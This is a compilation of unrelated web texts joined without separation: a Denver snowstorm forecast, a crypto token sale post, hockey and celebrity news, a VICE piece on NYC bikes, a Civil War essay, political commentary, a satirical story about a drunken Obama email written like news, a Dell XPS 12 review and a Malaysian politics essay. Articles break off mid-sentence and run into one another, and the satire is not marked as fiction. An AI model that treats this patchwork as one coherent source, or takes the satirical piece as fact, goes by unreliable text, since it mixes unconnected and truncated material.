The number one piece of advice that professional writers will give to you is this: write. Do it every single day. In a month’s time, you’ll start to see where you are as a writer and where you’ll want to improve.DENVER (CBS4) – We’re busy in Colorado’s Weather Center tracking a developing snowstorm that is set to hit Colorado sometime late Monday and potentially lasting through Wednesday.
We know this storm is still a long way out, but because of the potential it is showing to be significant, we want you to be informed.
Current forecast models all show a strong winter storm entering the region early next week. But the models vary in their details of how long the storm will last and how much snow will fall.
The lastest weather hazards map issued by NOAA’s Climate Prediction Center is also showing the potential for heavy snow and high wind somewhere in eastern Colorado by next Tuesday.
Should this storm slow down and stall out, as suggested by the Global Forecast System (GFS) model, there’s the potential for this storm to set records and be measured in feet.
But if it moves faster, as suggested by other models, we’d be talking a much more manageable snowfall event.
Below is a snapshot of two forecast models ran on Friday morning that show the extreme variation in potential outcomes.
In a state like Colorado it’s all about location, location, location. And that is key as to what the final outcome will be with the exact track of this storm.
Stay with CBS4 and Colorado’s Weather Center all weekend for the latest forecast updates as we track this system.Wow! We’re incredibly grateful and proud to have such a highly-engaged community! The Cofound.it Priority Pass™ stage of the Santiment token sale reached the hard cap in only 3 blocks. This is a proof we’re on the right path and we can’t wait to see how you engage with our future projects!
An exciting day is behind all of us! After months of careful preparations and coordination we have successfully launched first Cofound.it pre-sale, which was today available to our initial Cofound.it Priority Pass™ members.
More than 13,000 ETH of SAN tokens were sold in less than a minute, setting a new ground-breaking milestone!
It is also reasonable that the first community responses are mixed — whilst the fastest among you are super excited about the successful pre-sale, there is also some bad mood coming from those of you who missed the very short contribution period. In fact, only one Cofound.it team member managed to participate — all the rest were too late and know exactly how you feel!
This was our first Priority Pass opportunity for a Cofound.it project. We’re still working on our Priority Pass dashboard, which is slated to launch in a matter of days, so we decided to give an equal opportunity to all Cofound.it Priority Pass supporters. We are already limiting Priority Pass opportunities only to those holding 5k CFI or more for the crowdsales starting with July. We’ll also be working on implementing an individual contribution limit mechanism. If you have suggestions on what the best way would be, please join our Slack and join the discussion!
This was a great first iteration of our powerful Cofound.it Priority Pass™ system, showing the strength of our community and there is even more to come! At this point, we are already working on adding mechanisms to ensure the next iteration will be a better experience for everyone!
Thank you all for participating and of course, congratulations to Santiment for an extremely successful crowdsale!COLUMBUS, OHIO --- The Columbus Blue Jackets have added goaltender Joonas Korpisalo to the roster on emergency recall from Cleveland’s Lake Erie Monsters, Columbus’ American Hockey League affiliate, club General Manager Jarmo Kekalainen announced today.
Korpisalo, 21, has gone 14-8-4 with a 2.63 goals-against average and.918 save percentage in 26 games with the Blue Jackets this season. He compiled a 13-3-3 record with a 2.28 goals against average and a.929 save percentage in his last 19 NHL starts since January 13. The Pori, Finland native made 27 saves in a 2-1 loss vs. Tampa Bay in his NHL debut earlier this season on December 14. He has also posted a 6-7-2 record with a 2.36 goals against average,.917 save percentage and two shutouts in 15 games with Lake Erie.
Columbus’ third pick, 62nd overall, in the 2012 NHL Draft, Korpisalo is 6-9-2 with a 2.49 goals-against average,.911 save percentage and two shutouts in 18 career AHL games since making his North American professional debut with the Springfield Falcons late in the 2014-15 season. He went 14-13-7 with a 2.34 goals-against average and.919 save percentage in 38 games with Ilves Tampere (Liiga) in 2014-15.
The Blue Jackets return to action tonight, hosting the New Jersey Devils. Game time from Nationwide Arena is 7 p.m. ET. Live coverage on FOX Sports Ohio begins with the Blue Jackets Live pre-game show at 6:30 p.m. The game will also be broadcast live on the Scioto Downs Blue Jackets Radio Network, including Sports Radio 97.1 FM, and online at BlueJackets.com.- Chicago Police are confirming that they are on the lookout for Sinead O’Connor, who may be threatening suicide.
The singer famously went missing for a 24-hour period in May while staying at a home in Wilmette, and was later found safe.
Chicago police received a call from police in Dublin, Ireland, stating that O’Connor had threatened to jump off a bridge in Chicago, the Chicago Sun-Times is reporting. Concerns prompted the Chicago Police Department to issue an “All Call” alert Thursday advising officers to be on alert for the 49-year-old singer. A department spokesperson said no officers have been assigned to the search, but all cars have been notified to be on the lookout.
The alert came across Chicago Police scanners during the height of the evening rush hour (and was repeated 90 minutes later):
“All units stand by for the All Call message. … Word from Ireland police Sergeant Claire Mulligan, Dublin, Irleand, is saying that at 15:30 hours Sinead O’Connor called and said ‘I’m on a bridge in Chicago and I’m going to jump’. If officers could keep an eye out for the celebrity.”
A call to the Dublin, Ireland (Garda Síochána) police, yielded no comment.At least one expanse of protected land in California is now officially safe from the Trump administration’s plan to eliminate or shrink some country’s national monuments.
Department of Interior Secretary Ryan Zinke announced Wednesday that the administration has no interest in carving up the Sand to Snow National Monument east of Los Angeles. The 154,000-acre monument that includes some 30 miles of the Pacific Crest Trail was created just last year by President Obama. It is the first California monument Zinke has promised to leave be in the review Trump ordered of monuments created since 1996 that are more than 100,000 acres.
As with such promises Zinke has made regarding select monuments in other states, there seemed to be little rationale to the timing of the announcement, or why Zinke has chosen to publicly comment on this particular property but none of the five other monuments in California, which include Berryessa Snow Mountain, Carrizo Plain, Giant Sequoia, Mojave Trails and San Gabriel Mountains.
“Today, I am recommending that no changes be made to the Sand to Snow National Monument and that the Monument is no longer under official Department of the Interior review,” Zinke said in a statement. “The land of Sand to Snow National Monument is some of the most diverse terrain in the West, and the monument is home to incredible geographic, biologic, and archaeological history of our nation.”
Read the full story on LATimes.com.Image by Lia Kantrowitz
In early 2019, the L train in New York City will shut down for 15 months to repair damage caused during Hurricane Sandy. Leading up to the closure, VICE will be providing relevant updates and policy proposals, as well as profiles of community members and businesses along the affected route in a series we're calling Tunnel Vision. Read more about the project here.
In the immediate aftermath of Hurricane Sandy, in early November 2012, New York City was at a standstill. In what then-MTA Chairman Joseph Lhota called the "most devastating" event to ever hit the city's transit system, immense flooding and electricity outages left large portions of the subway system underwater, forcing hundreds of thousands of New Yorkers to rewrite their commutes around the shaken landscape.
According to surveys at the time, the percentage of NYC residents who rode the subway in the days right after Sandy decreased from 46 percent to 11 percent, with many people working from home, or not at all. Filling the void was a more traditional vehicle: the bicycle. On the Thursday after Sandy, the East River bridges—the Brooklyn, Manhattan, Williamsburg, and Queensboro bridges—saw a 130 percent increase in bike ridership. Bikes, which are obviously unaffected by a lack of electricity and underground chaos so long as the actual streets aren't a total nightmare, became the transit mode of choice in a paralyzed city.
This post-Sandy transit crisis offered a preview of what North Brooklyn and lower Manhattan might look like during the L train shutdown, in 2019. After the storm, the L train was at least partly shut down for almost two weeks—this reporter, who was living in the area at the time, vividly remembers the long lines for shuttle buses, and even longer walks to nearby subway lines, which were flooded with people. (Of course, Sandy's impact is still being felt: the Canarsie Tunnel is closing specifically due to the storm's damage, six years after the fact.)
So bikes figure to be a crucial transit alternative during the city's impending crisis. Still, the spike in their use after Sandy was measured over the course of a few days—the L shutdown will last at least 15 months. Can bikes really serve as a viable option for that long? And how many New Yorkers, realistically, will ditch traditional commutes for wheels?
That's the big question, according to Jon Orcutt, director of communications and advocacy at the Transit Center, an NYC-based group dedicated to improving urban mobility. Orcutt has spent a large chunk of his 30-year career thinking about bikes, including bike shares, and safety. (He was previously executive director of both Transportation Alternatives and the Tri-State Transportation Campaign, two major advocacy groups for carless alternatives.)
"Bikes obviously need to be a part of the solutions," he told VICE. "They're one of the fastest-growing means of traveling the city right now, so it's not unfeasible to get more people on bikes. We know how to do that. The good news is that the city is already—and committed to—doing more for bikes in the L train corridor."
Currently, he pointed out, protected bike lanes are being built on the Brooklyn side of the Williamsburg Bridge, which will help riders safely navigate west to the major inter-borough overpass. Between 2010 and 2015, bike ridership on the bridge increased by 80 percent; this past June, an average Wednesday saw upwards of 8,000 riders.
Once the L shuts down between Brooklyn and Manhattan, Orcutt predicted, the city can expect at least a 30 percent increase in bike traffic on the bridge. "It's going to be fractional to a quarter of a million people a day, but if you look at the Williamsburg Bridge volumes alone, you're talking about tens of thousands of people," he told me. "That could take a real edge off the crowding in other places."
In order to accommodate the rush, Orcutt said, the city's Department of Transportation (DOT)—which is in charge of New York's bike lanes—needs to prepare those corridors for extra usage. On the Manhattan side, the city is planning to create a bike lane next year in the median of Delancey Street, the packed thoroughfare the Williamsburg Bridge empties onto. But Orcutt believes this needs to be taken a step further, by eliminating any blockages at the bridge's access ramp before the shutdown, so bikes can quickly enter and exit onto the streets. (Another more out-there idea is a car-free 14th Street, which would theoretically include dedicated bike lanes.)
Bikes don't have to be an end unto themselves, of course. They can also carry commuters to other subway lines nearby—a key peg of the Metropolitan Transit Authority's (MTA) shutdown plan. Way-finding efforts along those routes could be improved, Orcutt noted, especially further south. "How do you get from the Metropolitan-Lorimer area [in Williamsburg], or the areas east of there, down to the A train stations in Bed-Stuy?" he asked. "There are some bike lane connections, but just sort of reminding people, through more signage or bike parking at those stations," would help, he argued.
While Orcutt was director of policy at DOT (he's had a lot of transportation gigs), he said, the MTA approached the agency around the time the G train shut down for a month and a half in 2014. (More post-Sandy repairs.) They wanted to talk bikes. The fruit of that discussion, according to Orcutt, was an expansion of bike parking at Court Square, a major Long Island City transit hub that will see bigger crowds in 2019. This is a chapter from the city's playbook that should be repeated, he argued. "They figured that some of the people in Greenpoint and the Northside [of Williamsburg] who would take the G to Queens would be cycling," Orcutt recalled. "So those kinds of things [already] exist."
This was also before Citi Bike became what it is now: a massively popular bike-share program that's on pace for 17 million rides in 2017 (it had ten million two years ago), and recently set a record for 70,000 rides in a single day. Citi Bike has mulled plans to expand to all five boroughs, including along the L train line. "Thousands of new bikes from Williamsburg to Canarsie in Brooklyn could play a crucial role in helping to alleviate the pain of the upcoming L train shutdown," Jay Walder, the CitiBike president and former MTA chairman, wrote in a recent op-ed.
"We're not going to replace the subways—that's not our goal," a CitiBike spokesperson told VICE. "But what we do is we come in at the margins: 70,000 rides make a difference, and we are happy to be where we're needed, when we're needed."
Exciting as more bikes might be for the city's enthusiasts, transit experts see them as just one part of a larger menu of solutions to the shutdown problem—and not without potential pitfalls.
"There are three challenges here: 1) Can the bridge accommodate all the cyclists? Perhaps a car traffic lane will be overtaken by bikes," warned Sarah Kaufman, who teaches at NYU's Rudin Center for Transportation. "2) Winter is coming: cycling drops precipitously during the cold months, especially during rain or snow events. The mode choice will be vastly different those days. And 3) What's the outcome once the cyclists land on 14th Street in Manhattan?"
"If cycling really does pick up, we'll need additional protective bike lanes on and near the 14th Street corridor," she continued. "We already know through research at the NYU Rudin Center that women in particular avoid cycling in areas perceived as unsafe—lots of traffic, or lacking separate bike lanes, for example. We must be careful to ensure equal access to all transportation options by providing safe alternatives to the subway."
VICE has yet to hear back from DOT on the city's latest plans for how bike lanes might help alleviate the shutdown. However, the agency recently promised to add ten miles of protected bike lanes and allocate 50 miles of regular bike lanes annually, starting this year. New York now has 1,133 miles of bike lanes citywide—double what it had in 2006.
At the end of July, the Times reported that New York now hosts 450,000 daily bike rides. Bikes have always been a fixture of city life, but their use is now accelerating far faster than both population and employment, according to the paper. By the time the Canarsie Tunnel goes offline in 2019, it can be assumed the number of bike rides will be drastically higher than it was in 2013, when Hurricane Sandy battered New York's shoreline.
What remains to be seen is if the city can keep pace.
"When transit is disrupted, thousands of New Yorkers take to bikes for the first time," said Thomas DeVito, the director of organizing at Transportation Alternatives. "We've seen it during past transit strikes, and we can expect it to happen again."
"The silver lining is that unlike in past emergencies," he added, "the city has time to plan for the L-Train crisis."
Follow John Surico on Twitter.Disunion follows the Civil War as it unfolded.
Late on the evening of Nov. 6, 1862, Secretary of War Edwin M. Stanton dispatched Brig. Gen. Catharinus P. Buckingham, a West Point classmate and friend of Robert E. Lee’s, to the headquarters of the Army of the Potomac, then located in Northern Virginia. Buckingham had two messages, good news for one general and very bad news for another. Arriving the next evening in the midst of one of the worst snowstorms on record, Buckingham decided to give the good news first and sought out Gen. Ambrose Burnside to deliver a presidential order naming him as the new commander of the Union Army.
Burnside initially demurred, convinced that he was not up to the job (events would soon prove him right). But he accepted after Buckingham told him that, if he refused, Lincoln would turn instead to one of his rivals, Gen. Joseph Hooker. The two men then rode several miles to deliver the bad news to Maj. Gen. George McClellan: namely, that his contentious tenure as leader of the largest Union army was at an end.
Many men might have erupted in anger; McClellan played it cool. In a letter to his wife, Nelly that same evening, McClellan reported that “I read the papers with a smile [and] turned to Burnside and said, ‘Well Burnside, I turn the command over to you.’” He went on: “Poor Burn feels dreadfully, almost crazy.” He was surprised, he said, but “not a muscle quivered nor was the slightest expression of feeling visible on my face.” Lincoln and his cabinet, he swore, “have made a great mistake.”
This “mistake” had been brewing for weeks. Immediately after the Battle of Antietam, the man known as “Young Napoleon” had been certain of his ascendance. Lincoln had already stripped him of overall command of the Army, and McClellan believed his turning back of Lee’s forces meant things had to change in his favor. “Stanton must leave and that Halleck must restore my old place to me,” he wrote his wife, and he looked to a meeting of the loyal war governors, to be held in Altoona, Penn., at the end of September, to make that happen. Instead, the growing opinion that Antietam represented a missed opportunity for a decisive victory produced a concerted effort to have McClellan removed: only intervention by sympathetic governors from Ohio, Pennsylvania and Maine prevented this embarrassment.
Two other events at the end of September further eroded McClellan’s political traction. Some loose talk by Maj. John Key, whose brother was on the general’s staff, fed the growing opinion that Antietam was indeed a lost chance. Lee was not bagged at Antietam, opined Major Key to a War Department colleague, because “that is not the game. The object is that neither army shall get much advantage.” Rather, both “shall be kept in the field till they are exhausted, when we will make a compromise and save slavery.” Within a day of learning of the remark, Lincoln personally called Key to account and cashiered him on the spot.
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Simultaneously, McClellan found himself struggling to accept the preliminary Emancipation Proclamation. A moderate Democrat, McClellan believed the proclamation was not a practical necessity but rather an act of political symbolism that reflected Lincoln’s response to “radical influences.” Such an “accursed doctrine” as “servile insurrection,” he wrote Nelly on Sept. 25, made it “very doubtful whether I shall remain in the service after the rebels have left this vicinity.” At a late September dinner with Burnside, Gen. Jacob Cox and Gen. John Cochrane, McClellan claimed that his troops were so devoted that they would “as one man enforce any decision he should make,” including taking a stand against Lincoln’s emancipation order. His guests argued otherwise, warning that opposing the proclamation would be a “fatal error.”
The elder Francis Blair, one of McClellan’s greatest patrons, seconded their advice: “No appreciable portion of the nation will favor the long continuation of Slavery after this war is over or will tolerate any guarantees of its perpetuity as the price of peace.” On Oct. 7, McClellan issued orders to his troops to support the proclamation and, in a backhanded nod to civilian authority, reminded them, “The remedy of political error if any are committed” was to be found “at the polls.”
But that took care only of his immediate problem. McClellan had yet to do anything to dispel Lincoln’s sense that he was unwilling to take the fight to the enemy. Hoping to bestir his inert commander, in early October Lincoln visited Antietam and the army he sarcastically referred to as “General McClellan’s bodyguard.” While there, he sat for a series of now iconic photographs. In a letter to Mary, Lincoln betrayed both his famous sense of humor as well as his growing frustration with McClellan. “We are about to be photographed,” he wrote, if “we can sit still long enough. I feel Gen. M. should have no problem.”
After returning from Antietam, Lincoln was convinced that “I am now stronger with the Army of the Potomac than McClellan,” and he had Halleck order his general to “cross the Potomac and give battle to the enemy or drive him south.” But move the general would not. He bombarded Washington with excuses: exhausted troops; unknown terrain; a river too deep to cross or not deep enough to keep the Confederates from Washington; insufficient numbers of wagons; broken cannons; the enemy’s superior numbers; and too few boots and blankets. When he reported that his horses were “absolutely broken down from fatigue and want of flesh,” Lincoln displayed a rare flash of temper: “Will you pardon me for asking,” he telegraphed, “what the horses of your army have done since the battle of Antietam that fatigue anything?”
In the words of his secretary John Nicolay, Lincoln kept “poking sharp sticks under little Mac’s ribs.” On Oct. 13, the president asked: “Are you not over-cautious when you assume that you cannot do what the enemy is constantly doing? Should you not claim to be at least his equal in prowess, and act upon the claim?” A furious McClellan wrote to Nelly, “The good of the country requires me to submit to all this from men whom I know to be greatly my inferiors socially, intellectually & morally! There was never a truer epithet applied to a certain individual than that of the ‘Gorilla.’”
Others were far less patient than Lincoln. Secretary of the Navy Gideon Welles reported “no abatement |
administration has moved to renew construction of the Keystone XL and Dakota Access pipelines and has frozen all new grants and contracts issued by the Environmental Protection Agency. Reports also suggest the administration has ordered the EPA to remove pages with climate change data from its website, confirming many scientists' fears about the president's agenda.
"It was a little chilly this morning when we arrived at the crane site, but it was a lot chillier in the Oval Office when President Trump decided to sign those executive orders reinstating the Keystone pipeline, reinstating the North Dakota pipeline, taking women's right to choose away from them," Topakian said in her Facebook video.
Although Greenpeace is known for its environmental work, the activists say the banner is about more than that.
"I fear not only the policies of the incoming administration, but also the people emboldened by this election to commit acts of violence and hate," Pearl Robinson, one of the activists who helped unfurl the banner, said in a statement. "Now is the time to resist. We won't stand rollbacks on all the progress the people have made on women's reproductive rights, LGBTQIA rights, the heightened awareness of state-sanctioned violence on black and brown folks, and the progress we have made on access to clean and renewable energy, an issue I have personally worked on my entire adult life."White House Trade Council head Peter Navarro was explaining what he sees as the biggest problem with the American economy since the 1990s that exacerbated inequality and left the American worker in the lurch.
"Well, I think you start with the idea that we've had 15 years of subpar growth — 2 percent or below," he said in an interview with NPR to promote "Made in America Week."
"Prior to 2001, we grew at 3 and a half percent. The big difference has been the entry of China in particular into the World Trade Organization and our markets. And we've just been hammered. What that does as a proxy, basically, is it drains essentially the lifeblood out of our manufacturing economy, out of our communities, out of our tax bases."
So the narrative from the White House is that China's big push into global markets is the root cause for stagnant economic and wage growth since the turn of the millennium. But that narrative has a really basic flaw: It's only half the story. And with only half the story, you're not going to find a whole solution to the slow growth, low wage, low unemployment predicament we find ourselves in now.
The problem didn't start in the 1990s, it started in the 1980s, when Ronald Reagan — a hero of the Trump administration — was president, and neoliberal economics were first making their mark on policy. Reagan and his ilk distrusted government and believed that the private sector could make the best decisions when left on its own. You've heard about this — it's called laissez faire economics.
This ideology ultimately led to the financialization of the US corporation — the process of putting shareholders first, often at the expense of workers and consumers — and its emergence as an actor that takes resources from the economy rather than creating them. This, combined with a government zeal for lowering taxes rather than spending, means no one — not the government, and not the private sector — is investing enough in America to keep the economy strong across social classes.
In short: Government cuts and changes in how corporations operate mean American workers are getting screwed by their own government and their own employers.
Navarro and I end up with the same dire view of the current economic landscape. We just disagree on how we got there.
An unstoppable force...
But I'm jumping ahead — let's go back to the Reagan era. That was also the time Japanese manufacturers had developed a superior management style to their American rivals and, frankly, started eating our lunch.
Instead of keeping a wall between management and workers, Japanese manufacturers adopted "organizational integration," which put technical specialists and shop-floor workers together. The result was better products made faster in Japan, and jobs lost permanently in the United States.
The Financialization of the US Corporation, William Lazonick William Lazonick, an economics professor at UMass Lowell, describes the results of that transformation in his 2012 paper, "The Financialization of the US Corporation: What Has Been Lost, and How Can It Be Regained." It's a must-read for this kind of stuff.
Lazonick describes the huge negative effect competition from Japanese manufacturers had on American manufacturing jobs:WASHINGTON, D.C. — Members of more than 300 federal agencies and departments received an email from the President late last night with the subject line “Anything Else?”
The body of the email, which rambled off-topic at points and included several spelling and grammatical errors, asked federal employees if anyone had “any more bullshit up [their] pant legs [they] need to shake out.”
Presidential scholars who had a chance to read the email suggested that Mr. Obama may not have been completely sober when he penned the message, which was sent out at 3:07am EST.
The President’s email alludes to a series of scandals that have rocked his administration over the past two weeks.
In the middle of a Congressional investigation into the attack on the American embassy in Benghazi last September, it was revealed that the IRS had been singling out conservative organizations for increased scrutiny. Shortly thereafter, it came to light that the Department of Justice had illegally subpoenaed telephone records of Associated Press reporters in the wake of a national security leak.
“So if anyone from the Department of Labor has their 13 year old kid working for cash under the table or whatever, just come out with it now so we can get this shit over with,” the email said.
“And just for safe measure, you NASA guys better knock it off drawing dicks on the surface of Mars,” Obama added after an unrelated paragraph about how proud he was of his daughters Natasha and Malia. “If I get impeached because of a cock 140 million miles away, I will be so pissed.”
Washington insiders say the President has been distressed and confused over the controversies that have erupted during his second term.
“Why would we want to validate the paranoia of the Tea Party?” he was overhead yelling at Attorney General Eric Holder yesterday evening.
Holder responded, “I don’t know.”
Holder repeated his answer several times until Obama threw up his hands and left. The President was last scene heading in the direction of the White House bar. He was not heard from again until the late night email.
Mr. Obama has cancelled all press conferences today, saying he doesn’t feel well because of “food poisoning.”
AdvertisementsLast fall marked a renaissance in laptop design. With Windows 8 on the horizon, manufacturers built truly exciting notebooks with high-res touch screens, clever back-flipping hinges, superb construction, and even displays on both sides. With touch screens as a focal point, it seemed that laptop manufacturers were finally ready to compete with Apple and offer premium laptops that were actually worth buying.
When those laptops actually arrived, though, they weren’t the winners we’d hoped. The primary culprit was battery life: gorgeous laptops like the Acer Aspire S7 couldn’t last more than a few lousy hours on a charge.
Now, with new battery-sipping Intel processors inside, those Windows machines are finally coming into their own. That same Acer Aspire S7 now clocks in at seven hours, and it’s not the only sharp tool in Microsoft’s shed. The Dell XPS 12, its screen-flipping counterpart, has the very same processor. Let’s see if a battery bump is enough to make Dell a winner.
Hardware Snap into shape Never mind airplanes: the XPS 12 is the perfect laptop for commuter rail. When I had to take Caltrain to San Francisco last week, two grippy rubber strips held the 3.35-pound laptop on my actual lap, instead of sliding off my wrinkle-proof pants and clattering to the ground like any number of wedge-shaped competitors. When I got stuck in a particularly cramped seat on the return trip, with no room to fully open the lid, I simply spun the screen 180 degrees, effectively turning the 12.5-inch display into a touch screen tablet with a strong folding stand. It’s a clever design that Dell’s been working on for years: simply push the bottom edge of the screen with your thumbs, and the lid and screen change places inside their rectangular frame like a revolving trapdoor. That means you can lay the screen completely flat like a tablet, or stand it up vertically, which I find wonderful for browsing webpages or keeping track of TweetDeck. You can do the same thing with other folding laptops, even ones as inexpensive as the $800 Lenovo ThinkPad Twist, but the high-quality screen on the XPS 12 makes a world of difference. What you still can’t do, unfortunately, is flip the lid partway and type on the physical keyboard underneath it, like the Acer Aspire R7’s "Starship Enterprise" position. The machine’s clearly designed to be used with the screen fully open or fully closed, not anywhere in between, and that’s a bit of a shame.
Looking good Dell products aren't always sleek, sophisticated tools, but the XPS 12 certainly looks like one. The two-tone black and silver construction might look simple on Dell’s website, but in person it’s immediately evident that the company built a quality product. The textured carbon-fiber weave, the beveled aluminum edges, and the smooth, black rubber surfaces look and feel fantastic. And then there's that gorgeous 1080p screen, the center of the experience. It's simply clear and bright and crisp and colorful from any angle. The high resolution means it can be a little tough to stab at tiny icons (which is mostly Microsoft’s fault) and the glossy glass surface can pick up loads of glare, but both make particular sense in tablet mode. When you hold the machine up to your face, images stay crisp and fingers glide smoothly towards your touch screen targets on that glassy 1080p surface. Grid View
Some other tradeoffs for the tablet form factor don't make quite as much sense, however. It's nice to have a dedicated volume rocker, bump-resistant power switch, LED battery-life indicator, and particularly an orientation lock switch all accessible with the lid closed, but they come at the expense of other ports. The machine's two USB 3.0 sockets and Mini DisplayPort are all cramped together on the right edge, and there's still no SD card slot. The weight of the machine makes it prohibitive to use as a tablet for long periods, so it would have been nice if Dell focused a little more on the laptop experience.
Keyboard / trackpad User input For the most part, the XPS 12 feels just as good as it looks, containing a strong frame and a comfortable keyboard with plenty of room to depress each key. I typed every word of this review on the XPS 12 itself, and my only complaint is that the keys feel like they need to be worn in. They're a little too springy. Incredibly, Dell also managed to eke some decent audio quality out of the fairly tiny laptop. It's surprisingly loud and full: I've been listening to Pandora Radio for hours during my testing, and have been consistently impressed with how well the tiny speakers perform. They’re perhaps the best I’ve ever tested on a machine this small. The one major weak point is the touchpad, which just can't seem to reliably detect two-finger gestures at all. For every five times I managed to smoothly scroll through a webpage, another time I'd find myself instantly and inexplicably at the bottom of the site I was reading, or find the XPS 12 had decided to move my mouse cursor instead of the article. Slowly but surely, I found myself using the touch screen for such things. It’s not a dealbreaker, but it’s extremely annoying.
Performance / battery life Upgraded longevity Just like Acer's Aspire S7, the Dell XPS 12 originally came out last year, and it's basically the same laptop except for a few tweaks under the hood. Dell added a slightly brighter 400-nit screen, faster 802.11ac Wi-Fi, a slightly larger 50Wh battery (up from 47Wh), an NFC module for tap-to-pair headphones and other such devices, and a Kensington Lock slot. Most of these aren’t terribly important additions (how many people have 802.11ac routers or NFC headphones?) but they’re all welcome. One addition matters most: that battery-saving Haswell processor. Though today's XPS 12 feels just as capable as the one I tested last year — games like Borderlands 2 chug even at the lowest settings, but your standard array of programs runs like a charm — the new Intel Core i5-4200U processor gave me loads more battery life. Haswell makes the difference I saw 7 hours and 46 minutes of battery life in our Verge Battery Test, and the machine consistently delivered five to six hours of actual, honest-to-goodness work. My work involves dozens of auto-refreshing browser tabs, multiple push email accounts, and Pandora playing music in the background — not AutoCAD or Adobe Premiere — but compared to the piddling 4.5 hours maximum we got out of last year's model, it's the difference between a laptop we can wholeheartedly recommend and one that needs warning signs plastered on the box. Plus, the XPS 12 boots in a flash and stays as cool and quiet as ever.
8.4 Verge Score Dell XPS 12 (2013) Good Stuff Excellent 1080p touchscreen display
Solid keyboard and audio quality
Good battery life Bad Stuff Touchpad is still finnicky
Few ports
Cumbersome as a tablet
Finally, a real choice for Windows ultraportable buyers
For the past two years, we’ve ended practically every ultrathin laptop review by suggesting that you should probably just buy a MacBook Air. That wasn’t always an option for Windows users, but for those who could, Apple offered an unrivaled experience. Those days are done: we’ve now seen two credible alternatives in a row, laptops which arguably outclass the Air in certain departments.
That said, if you're looking for the ultimate ultraportable laptop, there still isn’t an easy choice ahead of you. The new MacBook Air has insane battery life and a great trackpad, the new Acer Aspire S7 has an incredibly gorgeous design and a price to match, and the new Dell XPS 12 adds great speakers and a great keyboard to an attractive machine that doubles as a (hefty) tablet. If you're not automatically attracted to Mac OS X or one of the two Windows laptop designs, you might end up picking based on price: while a 13-inch MacBook Air starts at $1,099, an entry-level XPS 12 costs $1,199, and you'll pay $1,399 for an Aspire S7 with the latest battery-saving processors and a little more memory to start.
Perfection remains elusive, and Windows laptop manufacturers really need to figure out how to build a trackpad once and for all. We’re looking forward to seeing if the Haswell-equipped version of Lenovo’s IdeaPad Yoga turns out to be an even better machine, but you don’t need to wait to find out. There are three great portable laptops you can buy today, and two of them run Windows. One of them is the XPS 12.Malaysians Exiting: How Logic Flew Out the Window
A.M. Muffaz Blocked Unblock Follow Following Aug 10, 2015
Earlier this month, I read that fifteen families held capital assets worth about 76% of Malaysia’s GDP (The separation of ownership and control in East Asian Corporations, Claessens/Djankov/Lang, Journal of Financial Economics 58). It piqued my interest because it doesn’t take an expert view of our history to realise how power in this country is concentrated in the hands of a few. In our relatively brief history as a democratic nation, our political leadership grows increasingly dynastic, dependent on the personality cults of its leaders and paid for by complicated networks of cronies. Many of these links begin right there in our leadership’s names.
Our first Prime Minister was the son of the 25th Sultan of Kedah. His next two successors represented prominent families and married aristocrats. (In fact, they were brothers-in-law and the fathers of our current [sixth] Prime Minister and Defence Minister.)
This habit of Malay power being interwoven with ties to local aristocracy goes deep and wide, whether by blood or by marriage. Tunku Abdul Rahman, the Father of Malaysia, was actually something of a maverick in this regard, as his three marriages to non-Malay women and single marriage to the daughter of the Malay Yang di-Pertua Negeri (Governor) of Penang encapsulates a rare openness for our leaders. That said, our current Prime Minister’s first wife was a Kelantanese princess, and the aforementioned Defence Minister is married to a princess of Pahang. These are just samples of our highest leadership. Malaysia’s nine historical monarchies means that the number of princes embedded in our power structure would fill a book by itself.
Apart from royalty, the sheer size of Malaysia’s aristocratic families lends itself to the proliferation of Tengkus, Wans and Niks peppered among the boards of major firms and organisational rosters of political bodies. In an Asian society where your name and who you know are still important factors in one’s ability to start and run an enterprise, these connections have real effects on who controls our economy. It is important to note that as with any very large family, there will be richer and poorer members. Family ties alone do not guarantee equal distribution of wealth or influence. What matters is the effect of this influence at all, on business as well as policy.
Tengku? Tunku? Tun? As with monarchies everywhere, the list of royal and court titles is long and complex. People far more knowledgeable than me have crowd-sourced a detailed page of titles and what they mean over on Wikipedia. How many of these titles do you recognise in the names of our country’s prominent people — from the government, opposition and business sector?
Now, being a member of the aristocracy is not a prerequisite to hold public office (unless that is hereditary royal office). Regardless of their heritage, our leaders had to be elected into place. So inasmuch as Malaysia is a functioning democracy, this aspect does more or less function.
Nor does the lack of a title mean that politicians are opposed to keeping it in the family. Second generation, post-independence politicians run right across party lines, as do their spouses and children.
We know that the British’s policies of educating local elite to fill the Malayan civil service got many of our older leaders (and thus their progeny) a head start. Apart from being privately wealthy, powerful, well-educated parents are more likely to ensure their children are well educated, and powerful parents are more likely to ensure their children inherit that power. This extends to both old money and new. The economic boom of the 1980s and 90s heralded the rise of a strident upper-middle class, whose children benefited from the foreign university degrees, private tutoring and leg up in their career their wealth could buy them. That same boom was a large contributing factor in Malaysia’s growing wealth disparity, in turn a significant outlier behind the country’s increasing social unrest as inflation raises the cost of living across the board.
To the country’s credit, as the generations trickle down, a growing cohort of local leaders are normal human beings like the rest of us. But this is still overlaid with a dense network of patronage. For example, one of the more popular anecdotes is that beginning a business in Malaysia requires Malay partners on paper to access closed markets and affirmative action privileges to succeed — regardless of who the ultimate owner is. Which brings us back to those fifteen families I mentioned at the start of this piece.
Although social mobilisation has increased, the public’s voice against endemic corruption has neither effected meaningful policy changes nor the enforcement to combat it. This does not appear to be for lack of reporting or social awareness. The general understanding is that “everyone knows” but “no one wants to rock the boat”. Yet, even taking into account the strong culture of self-censorship and very real legal blocks against free speech, social apathy alone cannot be the entire reason for the lack of cohesive social response.
The clue lies in the generation of post-economic boomers I mentioned earlier, who experience the compound effect of racially-biased affirmative action policies and rising wealth, thereby gaining improved opportunities to live and learn abroad. Leonard J. Schoppa’s excellent Race for the Exits: The Unravelling of Japan’s System of Social Protection is a study of how Japan’s system of “convoy capitalism” has failed to stop both nationally important industries from moving their businesses abroad and failed to address the needs of Japanese women for improved career mobility as well as an opportunity to have children. The latter issue in particular contributes to Japan’s rapidly aging population problem, with not enough young people to replace it. Mr. Schoppa’s work tries to address the question of why neither the big corporations who shifted abroad nor the women stifled by a deeply patriarchal culture mobilised in force to have their demands heard.
In a nutshell, the economic progress that precipitated Japan’s global-oriented firms and increasingly educated, career-minded women offered a limited exit valve for those who could afford to leave the system. Faced with rising labour, energy and supply prices, the corporations big enough to do so found it easier to not rock the boat and gradually make foreign direct investments elsewhere. This took away some of the biggest corporate voices for change. The companies who could not afford to move were not influential enough to affect policy adjustments on their own.
